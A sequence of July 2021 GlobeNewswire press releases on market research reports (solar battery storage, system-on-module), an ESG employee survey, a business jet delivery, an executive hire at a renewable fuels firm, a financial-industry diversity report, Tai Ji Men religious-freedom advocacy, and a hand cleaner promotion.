Operating as a separate legal entity, the Boehringer Ingelheim Venture Fund (BIVF) drives innovation through its strategic investments in early-stage science and technology. With an investment volume of 300 million Euro, the Venture Fund invests in biotech and start-up companies with innovative concepts and technologies that have the potential to provide ground-breaking platforms. BIVF currently holds a portfolio of more than 30 companies and creates companies when it identifies promising research projects in university and academia. BIVFs interest in young, mainly technology-oriented companies demonstrates its commitment to investigate new ideas and new science to create options for Boehringer Ingelheim to expand into new approaches and businesses in the field of Oncology, Regenerative Medicine, Infectious Diseases and Digital Health.

www.boehringer-ingelheim-venture.com

About Ababax Health

Ababax Health is a Digital Health technology company dedicated to developing Digital Drugs that enable tailored, non-invasive digital interventions to unlock and advance mental and physical health. Ababax pools Software-as-a-Drug competencies by uniting multidisciplinary scientists and technology experts to shape the future of medicine. The Ababax founders, Dr. Markus Muschenich and Christian Lautner, have been Founding Investors at Dopavision since 2017.

https://ababax.health

For further information please contact:

Dopavision GmbH

Stefan Zundel

Managing Director

info@dopavision.com

Media Inquiries

akampion

Dr. Ludger Wess / Ines-Regina Buth

Managing Partners

info@akampion.com

Tel. +49 40 88 16 59 64 /

Tel. +49 30 23 63 27 68
New York, July 14, 2021 (GLOBE NEWSWIRE) -- Solar Energy and Battery Storage System Market Overview: According to a comprehensive research report by Market Research Future (MRFR),  Solar Energy and Battery Storage System Market Research Report, by Battery Type, End-User, Solar Technology and Region - Forecast till 2027 the market grow at a rate of 8.89% during the forecast period 2020-2027.

Grid-Scale Battery Energy Storage Systems to Reliably Store Solar Power are in High Demand.

The global solar energy and battery storage system market is growing rapidly. Factors such as growing installations of solar power plants connected with the grid and grid-scale battery energy storage systems push the growth of the market. Growing off-grid and on-grid solar panel installations for commercial, industrial, and residential uses drive the solar energy and battery storage system market growth.With the substantially rising demand for reliable and safe power source converters, the market is estimated to garner significant traction in future years.



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Competitive Analysis

List of the Key Companies Profiled in the Solar Energy and Battery Storage System Market Research Report are 

LG Chem. Ltd. (South Korea)

ABB Ltd. (Switzerland)

Samsung SDI Co.

Ltd (South Korea)

Tesla Inc. (US)

General Electric Company (US)

AEG Power Solutions (Germany)

Abengoa S A (Spain)

eSolar Inc. (US)

BrightSource Energy Inc. (US)

Evergreen Solar Inc. (US)

ACCIONA

S A (Spain)

Alpha Technologies (US)

Manufacturers strive to increase production capacities with improved cost efficiency and a leaner organization supported by new possibilities offered by digitalization. Many solar energy and battery storage system manufacturers are exploring the possibility of expanding their global footprint and portfolio after mastering their inverter research and development.

For instance, recently, on July 07, 2021, Lumea, a commercial arm of TransGrid, announced issuing an expression of interest (EoI) to develop a 300 MW grid-scale battery storage system in Victoria, Australia. The company plans to develop the project without using government funding. The grid-scale battery would help optimize renewable energy use in Victoria and across the National Energy Market.

In another instance, on June 25, 2021, Reliance Industries (RIL - India) announced its foray into solar, battery storage, green hydrogen, and fuel cell production, investing US$ 10 BN. RIL would build an integrated solar photovoltaic (PV) factory, advanced energy storage battery manufacturing unit, green hydrogen, and fuel cell facility in Jamnagar, Gujarat.



Browse In-depth Market Research Report (125 pages) on Solar Energy and Battery Storage System



https://www.marketresearchfuture.com/reports/solar-energy-battery-storage-market-5866







COVID-19 Impacts

Rise in renewables was reassuringly robust amid the COVID 19 challenges. The dependency on fossil-fired electricity could have been reduced dramatically had it not been for such a bounce-back in electricity demand. Market players faced various problems, such as obtaining components required to develop solar energy and battery storage systems, attracting workers from quarantines, and delivering end products.

The coronavirus-driven lockdown disrupted supply chains, creating the scarcity of key raw materials and component production. This, as a result, spiked product prices and lowered the market demand. However, the solar energy and battery storage system industry is rapidly returning to normalcy, witnessing the steadily increasing energy demand. The demand for solar energy and battery storage systems is estimated to increase after the lockdown mandates get relaxed in many countries.

Rising Solar Power System Installations Boost Solar & Battery Storage System Adoption

Renewable energy holds a major share in the overall energy generation market. Most distributed generation successes revolve around renewables. Product standardization, enhanced research & innovations, and increased lab & field tests are major solar energy and battery storage system market trends, ensuing large adoption of these technologies over the years.

Many commercial spaces have implemented distributed energy systems embedded with IoT devices and technologies, such as Blockchain and artificial intelligence (AI), for remote monitoring, managing payments, and security & performance analysis. This, in turn, has created vast market opportunities for solar energy and battery storage systems.

Initial Installment and Maintenance Costs are Major Headwinds

Lack of awareness and mobilization demand (structuring) are major factors affecting the solar energy and battery storage system market growth. Besides, high initial investment requirements and prohibitive costs associated with installing and maintaining solar energy and battery storage systems affect market growth. Shifting from conventional practices requires large-scale community awareness programs and demonstrations, which challenge the market players.



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Segmentation

The market is segmented into battery types, solar technologies, connection types, applications, end-users, and regions. The battery type segment is sub-segmented into lead-acid, lithium-ion (Li-ion), sodium-sulfur, and others. Among these, the Li-ion battery type segment accounts for the largest market share, witnessing vast adoption.

The solar technology segment is sub-segmented into photovoltaic, static (I-V), and dynamic (C-V). The connection type segment is sub-segmented into on-grid and off-grid. The application segment is sub-segmented into load leveling, peak shaving, power demand, and others. The end-user segment is sub-segmented into utility, industrial & commercial, and residential.

Regional Analysis

Asia Pacific region has constantly been dominating the global solar energy and battery storage system market. The market is predominantly driven by the presence of major battery manufacturers providing batteries for the solar energy storage system, such as Hitachi, NEC, Mitsubishi, Toshiba, and Panasonic.

Besides, factors such as increased energy consumption and demand due to the continually growing population and rapid urbanization & industrialization in this region drive the solar energy and battery storage system market growth.

With their massive investments, China and India increase the solar energy and battery storage system market size in the region. Additionally, rising government initiatives to tackle the rising level of pollution foster the adoption of eco-friendly power generation solutions in these countries.

Segmentation of Market covered in the research:

Information by Battery Type (Lead-Acid, Li-ion, NaS) End-User (Utility, Industrial & Commercial, Residential) by Solar Technology, Connection Type, Application, & Region (North America, Europe and Asia-Pacific)



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About Market Research Future:

Market Research Future (MRFR) is a global market research company that takes pride in its services, offering a complete and accurate analysis with regard to diverse markets and consumers worldwide. Market Research Future has the distinguished objective of providing the optimal quality research and granular research to clients. Our market research studies by products, services, technologies, applications, end users, and market players for global, regional, and country level market segments, enable our clients to see more, know more, and do more, which help answer your most important questions.
Toronto, July 14, 2021 (GLOBE NEWSWIRE) -- After a year of attention to inequity, injustice and inclusion, almost three-quarters of Canadian workers believe their employers perform strongly on social issues, such as health and safety, or equity for women and people of colour.

However, the reviews are much more mixed when it comes to environmental and climate performance, according to the Argyle Public Relationships Index, a new Leger survey that asked North American workers to rate their employers performance on environmental, social and governance (ESG) issues.

While 73 percent of respondents agree that their organization performs strongly on social issues, such as health and safety or equity for women and people of colour and 70 percent agree their organization has strong, effective and ethical management and governance practices, just over half (56 percent) agree their organization performs strongly on environmental issues, such as reducing its negative impact on the climate.

In other key findings, 71 percent of respondents know their organizations social purpose and believe it lives up to this purpose, and 74 percent believe their organization shows leadership in its industry, community or the public domain.

With ESG issues rising steadily as drivers of relationship capital, reputation and market value, employees are essential advisors, evaluators and ambassadors for an organizations authenticity and performance, said Daniel Tisch, CEO of Argyle, the North American engagement, communication and reputation advisory firm behind the study. They clearly believe organizations are making progress on social and governance issues  but still have work to do to reduce their impact on climate change.

Americans more satisfied with employer performance than Canadians

The study also reveals that Americans believe more strongly in their employers ESG performance than Canadians do, with 76 percent rating their organization highly on social performance, 75 percent on governance and 64 percent on environmental performance.

Workers believe employers have strong relationships with their customers and community

Using Argyles six research-tested dimensions of a healthy relationship, Canadians also give their employers strong marks on their efforts to build relationships with key publics:

83 percent agree their organization shows concern for its clients. 80 percent believe it is committed to meeting public expectations. 77 percent agree their employer earns public trust. 75 percent believe the public is satisfied with my organization. 74 percent agree their organization shows concern about ordinary people. 68 percent believe the public can influence the decisions or direction of my organization.

On these criteria, too, Americans had slightly stronger relationships with their employers than Canadians.

This is a fascinating glimpse of how organizations are perceived from the inside  because its a far rosier picture than we see from the outside in six years of doing this study with Argyle, said Dave Scholz, Legers Executive Vice President. The opportunity for organizations is to close the gap between internal and external perceptions.

Workers endorse employers pandemic performance

Other findings from the 2021 Argyle Public Relationships Index, released in June, revealed employee perceptions of how employers have managed the COVID-19 crisis. 77 percent of Canadians and 83 percent of Americans agree that my employer has managed the COVID-19 crisis well, compared with just 19 percent and 15 percent who disagree in the respective countries.

About the study

The Argyle Public Relationships Index is based on a survey of 934 employed Canadians and 548 employed Americans, completed between April 30-May 2, 2021, using Legers online panel. Legers online panel has approximately 400,000 members and a retention rate of 90%. No margin of error can be associated with a non-probability sample (i.e. a web panel in this case). For comparative purposes, though, a probability sample of 934 respondents would have a margin of error of +/- 3.2%, 19 times out of 20. A probability sample of 548 respondents would have a margin of error of +/- 4.2%, 19 times out of 20.

Public relations research suggests there are six dimensions of relationships between organizations and their internal or external publics: trust; satisfaction; perceived commitment to meet expectations; caring for those with whom you work or do business (exchange relationship); concern for people like me (communal relationship); and peoples perception of their ability to influence the organization. Argyle expresses its appreciation to Dr. Alex Sevigny of McMaster University for his counsel in the development of the model for this ongoing research.

About Argyle (www.argylepr.com)

For 40 years, Argyle has been chosen by the worlds biggest brands, put big ideas onto the public agenda, and grown to become one of Canadas largest and most acclaimed communications and public engagement firms. Argyles clients span many sectors, including finance, technology, health care, agri-food, travel, professional services, infrastructure, government, non-profits and many more.

Argyle has more than 120 full-time employees in Toronto, Vancouver, Winnipeg, Edmonton, Calgary, Victoria, Ottawa, and Washington, D.C., with affiliates in Montreal and Quebec City, and in more than 40 countries around the world.

About Leger

Leger is Canadas largest independent full-service research firm, with over 600 employees in Montreal, Quebec City, Toronto, Winnipeg, Edmonton, Calgary, and Vancouver in Canada, and Philadelphia in the United States. The LEO (Leger Opinion) panel is the largest Canadian panel with over 400,000 representative panelists from all regions of Canada. Leo was created by Leger based on a representative Canadian sample of Canadian citizens with Internet access.

Poll aggregator 338Canada.com gave Leger the highest rating among all polling firms in Canada for the accuracy of its studies. See https://338canada.com/pollster-ratings.htm.

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Challenger 350 aircraft boasts an unparalleled cabin , a smooth ride and the lowest direct opera ting costs in its category

Sundt Air, Norways largest business jet operator, will offer its newest Challenger 350 business jet for charter out of Oslo, Norway

MONTREAL, July 14, 2021 (GLOBE NEWSWIRE) -- Bombardier and Sundt Air are pleased to announce the recent delivery of a brand-new Challenger 350 business jet. Sundt Air, an executive charter, aircraft management, and special mission company based in Norway, will manage the Challenger 350 business jet out of Oslo. The aircraft will be available for charter starting in July 2021.

The Challenger 350 business jet allows passengers to remain comfortable, productive and well-rested as more people seek out safe and flexible alternative ways to travel, said Peter Likoray, Senior Vice President, Sales, New Aircraft, Bombardier. The iconic, market-leading Challenger 350 aircraft continues to be a top choice among the most discerning travellers.

As the largest operator of business jets in Norway, we are thrilled to add another Challenger 350 aircraft to our fleet, said Tor Bratli, CEO, Sundt Air. Our customers appreciate the Challenger 350 jets ideal combination of optimal performance and superior cabin comfort.

From Western Europe, the Challenger 350 business jet can take eight (8) passengers nonstop all the way to North America or fly from Oslo to Dubai. Its runway agility enables it to operate from highly sought-after European destinations such as Lugano and Cannes and from short runways, such as in Gstaad, Switzerland. In 2019, the Challenger 350 aircraft successfully completed a record speed flight from Gstaad to Malaga, Spain, completing the mission in two (2) hours and four (4) minutes at an average cruise speed of Mach 0.82. The Challenger 350 aircraft is also certified for steep approach into London City Airport.

A force in the business jet industry, the Challenger 350 aircraft strengthens its position year after year with enhancements and upgrades to its winning combination of performance and cabin experience. Among pilots, the Challenger 350 aircraft is recognized as being agile, reliable and a pleasure to fly. The Challenger 350 aircraft was the most-delivered business jet in the Medium category in 2020, making it the category leader for a seventh consecutive year. Paired with impressive high-performance attributes, the Challenger 350 aircraft is designed to access challenging airfields, climb faster and cruise efficiently while providing a smooth ride.

Sundt Air is the largest business aircraft operator in Norway and manages one of the newest and largest fleets of light, midsize and super-midsize aircraft in Europe. The Challenger 350 business jet continues to take centre stage as the preferred choice for Sundt Airs luxury travel experiences.



About Bombardier

Bombardier is a global leader in aviation, creating innovative and game-changing planes. Our products and services provide world-class experiences that set new standards in passenger comfort, energy efficiency, reliability and safety.

Headquartered in Montreal, Canada, Bombardier is present in more than 12 countries including its production/engineering sites and its customer support network. The Corporation supports a worldwide fleet of over 4,900 aircraft in service with a wide variety of multinational corporations, charter and fractional ownership providers, governments and private individuals.

News and information is available at bombardier.com or follow us on Twitter @Bombardier.

Visit the Bombardier Business Aircraft website for more information on our industry-leading products and services.

Bombardier, Challenger, and Challenger 350 are registered or unregistered trademarks of Bombardier Inc. or its subsidiaries.

For information

Anna Cristofaro

Bombardier

anna.cristofaro@aero.bombardier.com

+ 1 514-855-8678

A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/72843889-0657-495b-b3b6-0e3cdd348194
SAN DIEGO, July 14, 2021 (GLOBE NEWSWIRE) -- Oberon Fuels, the worlds only producer of ultra-low carbon, renewable dimethyl ether (rDME) transportation fuels, announces that longtime propane industry executive and advocate Cinch Munson has joined the team as Vice President of Commercial Development. The appointment comes as Oberon has begun commercial production of rDME and is expanding market development across North America and around the world.



Oberon Fuels is expanding on multiple fronts right now  from driving sales of rDME as a blending agent for propane users to unlocking the pathway for renewable hydrogen, and Cinch will be at the center of it all, said Rebecca Boudreaux, Ph.D., CEO of Oberon Fuels. From securing feedstock partnerships within the ag industry, to siting our next production facility to building awareness of rDMEs benefits to the global energy industry, Cinch is the perfect fit for this role.

Munson has more than 20 years in the propane and agribusiness sectors. Most recently, he served as Senior Vice President, Business Development, for the Propane Education and Research Council (PERC), a trade association that promotes the safe and efficient use of propane fuels.

During his tenure, he led the propane industrys growth efforts by leading business development on behalf of the US propane industry through partnerships, market development, product development, and product commercialization.

With an estimated Carbon Intensity (CI) value of -278 according to the California Air Resources Board, and similar handling and storage properties as propane, rDME can be an ideal blending agent to reduce the carbon intensity of propane. It can be produced at or near renewable feedstock sources using Oberons modular production technology. Because rDME is compatible with LPG, it requires minimal modifications to the existing global LPG distribution network and workforce, which have been safely handling and transporting similar molecules for more than a century.

The synergies between rDME and the propane industry are unique, and rDME provides a remarkable pathway to not only further reduce the carbon footprint of todays propane, but also unlock the future of hydrogen, said Munson. rDME is uniquely positioned to decarbonize the transportation sector and beyond.

In June, Oberon and the Los Alamos National Laboratory were awarded grant funding from the U.S. Department of Energy for a project to scale-up steam reforming technology that would produce renewable hydrogen (rH2) from rDME at the point of use (i.e. a fueling station). This novel approach overcomes the two largest barriers to widespread hydrogen adoption: the lack of cost-competitive, sustainable production and lack of energy-dense storage and transport.

Renewable DME can be made from a variety of waste resources, but the most promising and the most scalable sources come from large agricultural resources, specifically around dairy and other livestock operations. Prior to joining PERC, Munson spent more than a decade in the agribusiness industry including Director of Market Operations at Mercaris, a provider of market information and trading platforms for certified and identity preserved crops; Manager of Product Quality and Innovation at Oxbow Animal Health; Associate Vice President at Mid-Plains Center for Enterprise; Verified Services Manager at AgInfoLink; and Market Analyst at Cattle-Fax.

Munson earned a Bachelor of Science (B.S.), Cum Laude in Animal Science with an emphasis in Life Sciences from the University of Nebraska-Lincoln and a Master of Science (M.S.) in Animal Science with an emphasis in Systems Management and Nutrition from Colorado State University.

Cinch has been instrumental in the growth of the propane industry through his leadership at PERC and his efforts will continue to benefit our industry, said Tucker Perkins, President and CEO of the Propane Education and Research Council. We look forward to finding new opportunities for the propane industry through collaboration with Cinch and Oberon.

About Oberon Fuels

California-based Oberon Fuels is on a global mission to decarbonize transportation by producing a powerful, enabling molecule, dimethyl ether (DME). DME, which can range from being ultra-low carbon to carbon-negative, can significantly reduce the carbon footprint of the transportation sector and beyond 1) as an energy-dense, cost-effective means to move renewable hydrogen, 2) as a blending agent for LPG, and 3) as a diesel replacement. Oberon has challenged the status quo by introducing innovative solutions to the transportation sector to reduce its carbon footprint, vehicle emissions and improve local air quality while creating economic opportunity for the communities where they operate. In 2013, Oberon Fuels refinery in Brawley, Calif., produced the first fuel-grade DME in North America, and in 2021 produced the first-ever renewable DME in the US. Oberons DME has powered vehicle demonstrations around the world with Volvo Trucks, Mack Trucks, Ford, among others. Founded in 2010, Oberon Fuels is privately held with both private and strategic investors, including Suburban Propane Partners, L.P. (NYSE: SPH).

More information about Oberon Fuels is available at www.oberonfuels.com.

A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/01365ad1-0ae8-4750-a683-36be8c802b5a
Eatontown, New Jersey, July 14, 2021 (GLOBE NEWSWIRE) -- According to Discovery Datas Closing the Diversity Gap Report 2021, the financial services industry does not reflect general demographic trends in the United States. Firms that employ third-party resources to achieve Diversity & Inclusion (D&I) goals reported perceived program success more often.

By comparing national averages to Discovery Datas financial services database averages, it is clear that the industry is out of sync. Women are underrepresented by 28 percentage points relative to the overall population. Black and Hispanic/Latino people are underrepresented relative to the general population by 10 and 12 percentage points respectively.

Smart investors understand that diversification plays a big role in seeing better risk-adjusted returns. Within the world of financial advisory talent, however, diversity has not kept pace with the composition of the overall U.S. population, stated Saleem Khan, Chief Data and Analytics Officer of Discovery Data.

The research finds that there are stark differences within the financial services industry when it comes to D&I planning. Among registered investment advisers (RIAs) polled, many of which are small and independent, 29% of these firms are not planning to develop D&I policies. Among broker-dealers (BDs), which are typically large and have more formal governance, that number decreases significantly to 5% who are not planning to develop D&I policies. There is a small (6%), but vocal, contingent of diversity detractors who expressed strongly negative views of the entire concept.

Over 40% of firms reported having D&I initiatives in place for at least three years. When asked whether their firm had achieved its D&I program goals, a majority (55%) said their firm had either met or exceeded them. The number increases to 89% with D&I programs launched over five years ago. By contrast, the greatest reported underperformance is among firms with programs launched less than 1 year ago (42%).

When asked if they used consultants, tools, or data to support their D&I efforts, respondents using them reported program success more than those who did not. Tools rated as very helpful included Pay / Promotion / Talent Lifecycle Data and Individualized Race / Ethnicity Data (60% of users).

Industry participants put baseline diversity data and specific talent development initiatives at the top of their list for getting where they need to beall while helping grow AUM, says Khan.

The research suggests a significant part of D&I program success comes from recruiting and talent management practices. Better data and tools can provide objective, meaningful input into these processes, enabling firms to find candidates that reflect the clients and communities they serve.

For more information, contact 732-933-1899 or press@discoverydata.com.

About Discovery Data

Discovery Data is the leading provider of data, insights, and analytics on the firms and people driving the financial services and insurance industries across North America. The top asset and wealth management, fintech, media, consulting, and insurance companies turn to Discovery Data to improve their business performance. To learn more, visit https://discoverydata.com.

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An Ongoing Violation of Human Rights and Religious Freedom in Taiwan That Began in 1996

Action Alliance to Redress 1219 is a partner of International Religious Freedom Summit 2021

WASHINGTON, July 14, 2021 (GLOBE NEWSWIRE) -- The International Religious Freedom (IRF) Summit is being held at the Omni Shoreham Hotel in Washington D.C. on July 1315, and over 1,000 representatives from government agencies and civil society organizations are attending the event in person while over ten thousand people are participating virtually, being the largest and most important religious freedom event of the year. As a Summit partner, the Action Alliance to Redress 1219 hosted a workshop titled A Question of Justice: The Tai Ji Men Case and launched two new books about safeguarding human rights, justice, and religious freedom, documenting the Tai Ji Men case, a case of violation of religious freedom and human rights in Taiwan, and over 1,200 advocates participated in the event for religious liberty either in person or online.

The IRF Summit 2021 is co-chaired by former U.S. Ambassador-at-large for International Religious Freedom Sam Brownback and Dr. Katrina Lantos Swett, President of the Lantos Foundation for Human Rights while Honorary Senate Co-Chairs are Senator Chris Coons and Senator James Lankford while Honorary House Co-Chairs are Congressmen Henry Cuellar and Chris Smith.

As a partner of the Summit, the Action Alliance to Redress 1219 (ACT1219) is dedicated to rectifying the Tai Ji Men case, said Jeff Kuo, a representative of ACT1219. Tai Ji Men is a spiritual group with various chapters in Taiwan and the U.S. It has self-funded trips to 101 nations to promote love, peace, and conscience. A video presentation showed that Tai Ji Men has been highly praised by President Tsai Ing-wen, three former presidents of Taiwan, and other leaders in Taiwan and around the world for its peace endeavors.

However, such an avid promoter of love and peace has been persecuted for 24 years by a few unscrupulous bureaucrats in Taiwan as shown in a movie titled  A Question of Justice: The Tai Ji Men Tax Case in Taiwan , presented in the workshop. The movie was directed by Prof. Massimo Introvigne, an Italian sociologist and the founder and managing director of the Center for Studies on New Religions (CESNUR).

Although Taiwan is hailed as a beacon of democracy in Asia, it has a complicated past. After the martial law period ended in Taiwan in 1987, there was a transition period during which the government targeted groups of self-cultivation. One such instance was in 1996, when the first direct presidential election took place in Taiwan and the government went after religious movements and organizations of self-cultivation that did not show support for the President during the election. Even though Tai Ji Men took no political stance, it was caught in the crossfire.

Since the late 1970s, the Association of World Citizens has worked closely with the Special Rapporteur on Freedom of Religion or Belief with the UN Human Rights Council, said Michael Selfridge, representative of the Association of World Citizens, adding, Tai Ji Men Qigong Academy, led by Dr. Hong, Tao-Tze, has been our devoted ally. We are deeply saddened to see such an ally, who has been consistently helping us to resolve global conflicts, human rights, peace, and sustainable living, but was persecuted and attacked by some rogue officials in the Taiwanese government who abused public power."

Pamela Chen, on behalf of thousands of worldwide Tai Ji Men dizi (disciples), noted that at the time, Tai Ji Men was wrongfully accused of fraud and tax evasion, and on July 13, 2007 Taiwans Supreme Court found Tai Ji Men not guilty of tax evasion, violation of the Tax Collection Act, or any other charges, and Tai Ji Men did not owe any tax. A few rogue bureaucrats in Taiwan have been violating Tai Ji Men members religious freedom for over two decades, ignoring the court decision and imposing unjustified and heavy taxes on Tai Ji Men, said Chen.

Last year, Tai Ji Mens sacred land for self-cultivation was even confiscated, which has generated large street protests and considerable international attention, lamented Chen, adding that today marks the 14th anniversary of the acquittal of Tai Ji Men, but the injustice against this organization remains.

Kenneth Jacobsen, professor of law at Temple University, Philadelphia, the U.S. and former advisor to U.S. President Bill Clinton, has studied the Tai Ji Men case for years and written a paper on this case . In response to the wrongdoings committed by the unscrupulous bureaucrats, he said at the workshop, I call upon the president of Taiwan. I call upon the leaders of Taiwan to fix the mistakes of the past as I have said before to allow errors to continue, to perpetuate mistakes that were made in the past is as bad if not worse than committing those mistakes in the first place. This is an atrocity. Its a tragedy too. It is unjust. As someone who respects and has lived his life and career respecting the rule of law. This is offensive, and it should end now.

Prof. Massimo Introvigne, through a video message, regretted that he could not attend the event in person and highlighted why it is significant: The first reason is that it continues the extraordinary work done by Ambassador Brownback for several years on behalf of religious liberty. The second reason is, this side event is about Taiwan, a country whose culture very much I admire and love. And the third is the side event is about Tai Ji Men and its quest for justice.

Why are thousands of people in the street? asked Prof. Introvigne and then he said, Not for a domestic Taiwan tax law issue. Not for a private problem of Dr. Hong. But for a question of principle and of justice, and of religious liberty. And I believe its for this reason that reconstructing this case, which is a tax case but its mostly a freedom of religion or belief case, is important within the context of this magnificent event.

Brenda Chen, one of the tens of thousands of victims in the Tai Ji Men case, with tears in her eyes, recollected the Tai Ji Men incident: Even though no one accused my dad of any crime, he was detained and held incommunicado for four months by the prosecutor! By means of hunger, fatigue and threat, the prosecutor just wanted my dad to testify against my shifu (master), lamented Branda.

At the time, because of the prosecutors illegal investigation and smear campaign against Tai Ji Men, her family was discriminated against; her sister even received a threatening note at school. Her father and mother, Chief Financial Officer of a famous tech company and an editor at Taiwans Ministry of Justice, respectively, were forced to retire early. Their careers and reputations were ruined, and they suffered tremendous emotional and financial losses. Seven years ago, her dad passed away with regret, unable to see the redress of the Tai Ji Men case, lamented Brenda.

Ann Chen, a dual-licensed attorney in both Taiwan and California and co-author of the book Who Stole Their Youth, pointed out the importance of the book: This book is officially released today at the IRF Summit, which is of great significance! We've also prepared hundreds of books to distribute to attendees of the Summit. Through todays book launch, we hope the world will learn more about the Tai Ji Men case, pay more attention to human rights protection, the rule of law, and the importance of religious freedom for all spiritual movements!

In addition to Who Stole Their Youth, another book, The Tai Ji Men Case in Taiwan: A Bitter Winter Anthology was released, which includes scholarly studies by non-members of Tai Ji Men as well as articles about the Tai Ji Men case published in Bitter Winter , a daily magazine dedicated to religious freedom. The two books insist on the global relevance of the Tai Ji Men case because taxation is the most convenient and common tool that the government of a democratic society can use to deny the religious freedom of minority groups.

During the Summit, representatives of the Action Alliance to Redress 1219 presented former U.S. Ambassador-at-large for International Religious Freedom Sam Brownback and Dr. Katrina Lantos Swett, President of the Lantos Foundation for Human Rights, two books each: Who Stole Their Youth and The Tai Ji Men Case in Taiwan: A Bitter Winter Anthology, and shared with them the 24-year Tai Ji Men case, a landmark case of human rights violations in Taiwan.

At the 47th session of the United Nations Human Rights Council in 2021, CAP-LC, an NGO with special consultative status at the ECOSOC (Economic and Social Council), filed a written report concerning the Tai Ji Men case and other incidents of tax law misuse targeting spiritual movements (CAP-LC 2021).

Gill Wang, another representative of Tai Ji Men, said that Resolving the Tai Ji Men case, a landmark case of human rights violations, is the best way to help the Taiwanese government. Only then can it stand with its most important ally, the United States, to positively contribute to global stability and harmony. We sincerely hope that you can help Tai Ji Men rectify this 24-year-long case of injustice so our sacred land for self-cultivation can be returned to us and human rights and religious liberty will be protected in Taiwan!

The event concluded with a positive note when the song Love was presented, conveying the organizers hope to bring together righteous people who care about human rights, love, and peace while urging all governments to implement human rights protection, in the hopes that no other individual or group around the globe will be denied their human rights or religious liberty, and the world will be filled with love and peace!

About Action Alliance to Redress 1219: Action Alliance to Redress 1219 is a group of international and Taiwanese legal, religious, and human rights specialists working to restore the truth about the ongoing persecution of Tai Ji Men in Taiwan by a small group of bureaucrats that has lasted for 24 years, as well as their misuse of authority and violations of the law. In addition to rectifying the Tai Ji Men case and revealing the truth, it is also committed to defending religious freedom and calling on those in power not to infringe on peoples human rights.

Media Contact:

Lily Chen

Representative

admin@act1219.org

626-202-5268

https://act1219.org/eng/

A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/0f6c7d7c-46d6-4a37-b947-9444c89876fa
PALM BEACH, FL, July 14, 2021 (GLOBE NEWSWIRE) -- Consumers are learning about solvent-free Reinol Original Hand Cleaner as social media influencers continue to give it five-star ratings.

Earlier this year, Jordan Farrell, the influencer behind the popular Monster Motoring social media channels, told his followers that Reinol was the best hand cleaner he has ever used.

It is inexpensive, solvent-free, and easy-to-use, Farrell said in a video post.

Now, one of his colleagues at Monster Motoring, Julia Robar, who is known as That Volkswagon Girl, has told her 94,000 followers on TikTok all about Reinol.

Reinol is super easy to use. You just rub a teaspoon amount into your hands, add a couple of drops of water, lather, and rinse thoroughly, Robar said recently in a video post on TikTok.

I really like [Reinol]. Ive used a lot of hand cleaners in the past and this has been the best I have tried. My hands just feel like my hands after using it, Robar said.

Reinol, which has been popular around the world for 100 years, is continuing its launch in the United States.

Consumers can find Reinol Original Hand Cleaner at Amazon and Walmart.com.

We are thrilled that auto enthusiasts like Jordan and Julia are spreading the word about Reinol Original Hand Cleaner, said Clive Leon, founder and chairman of Reinol, the solvent-free, heavy-duty soap manufacturer. Their video posts were fantastic.

Leon said Reinol has been solvent-free since it was developed 100 years ago.

In contrast to many competitor brands on the market that continue to contain dangerous ingredients, such as mineral spirits, kerosene, white spirits, and naphtha, Reinol continues to be soft and gentle on your skin.

Other brands can damage your hands, Leon said. Reinol, however, has always been soft, gentle, and effective.

Reinols formula, which dates back to the early 1900s, only uses soft soaps, oils, and no harsh solvents. It also contains specially selected fine rounded degerminated inert quartz silica sand, which helps pick the dirt off the skin.

Reinol also is inexpensive to use. A one-liter tub should wash 300 pairs of hands. Reinol recently introduced a dispenser that gives you the exact amount of soap you need to clean your hands.

We are happy that auto enthusiasts are learning about Reinol. We are proud to work with such talented social media influencers, Leon said.

To purchase Reinol Original Hand Cleaner, visit Walmart.com or Amazon.com.

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New York, US, July 15, 2021 (GLOBE NEWSWIRE) -- Market Overview:

According to a comprehensive research report by Market Research Future (MRFR), Global System on Module Market information by Type, by Application and Region  forecast to 2027 the market valued at USD 2,390.4 Million in 2019 and is expected to reach USD 3,774.9 Million by 2026 with a CAGR of 7.97%

Dominant Key Players on System on Module Market Covered Are:

AAEON Technology Inc. (Taiwan)

Advantech Co. Ltd (Taiwan)

Avnet Inc. (US)

Avalue Technology (Taiwan)

Axiomtek Co. Ltd (Taiwan)

Connect Tech Inc. (Canada)

Congatec AG (Germany)

EMAC Inc. (US)

Eurotech Inc. (US)

Kontron S&T AG (Germany)

Microchip Technology Inc. (US)

National Instruments Corporation (US)

Phytic (Germany)

SECO S.p.A (Italy)

TechNexion Ltd (Taiwan)

Toradex (Switzerland)

VIA Technologies Inc. (Taiwan)

Get Free Sample PDF Brochure:

https://www.marketresearchfuture.com/sample_request/8628

Market USP exclusively encompassed:

System on Module Market Drivers

Rising Adoption in Medical Devices

The growing adoption of advanced embedded systems in medical devices is propelling the system on module market forward. The medical industry is confronting increasing problems in providing real-time health diagnosis in order to improve well-being practices. AI has aided the medical industry in patient management by utilizing the real-time capabilities of embedded systems, resulting in enhanced results with high accuracy. The market will rise due to the demand for portable, miniaturized, and wireless technology in medical applications such as surgical implements and wearable medical fabric.

Use of AI technology

The increased use of AI technology in embedded development is increasing System on Module market revenue. AI-infused embedded modules are frequently employed in applications such as object and facial recognition, virtual assistance, speech recognition, and others. SoM provides high-performance, low-power requirements and enhanced connectivity, which is fueling demand in mobile devices, smart homes, and IoT devices. Due to these advantages, prominent market participants have accelerated the development of AI integrated modules in order to acquire a competitive advantage over other companies.

Browse In-depth Market Research Report (111 Pages) on System on Module Market:

https://www.marketresearchfuture.com/reports/system-on-module-market-8628

Segmentation of Market Covered in the Research:

By Type, ARM Architecture to Witness Growth in the Global Market

The growth of the ARM architecture is mostly driven by its lower complexity when compared to x86 processors, which has accelerated the adoption of ARM-based processors in numerous boards and modules. Due to their single cycle computing and limited instruction sets, ARM processors are in high demand in SoM. Acorn RISC Machine (ARM) is a family of reduced instruction set computing (RISC) architectures for computer processors that may be modified to run in a variety of environments. ARM processors are ideal for lightweight, battery-powered devices such as smartphones, laptops, and tablet computers, as well as other embedded systems.

System on Module Market Regional Analysis

APAC to Lead the Global Market

In 2019, Asia Pacific had the greatest market share of 33.3%, followed by North America. The industry is being fueled by the increasing adoption of wearable healthcare devices across developed economies. Furthermore, the increasing prevalence of IoT technology in North America will boost the market growth.

Share your Queries:

https://www.marketresearchfuture.com/enquiry/8628

Industry News

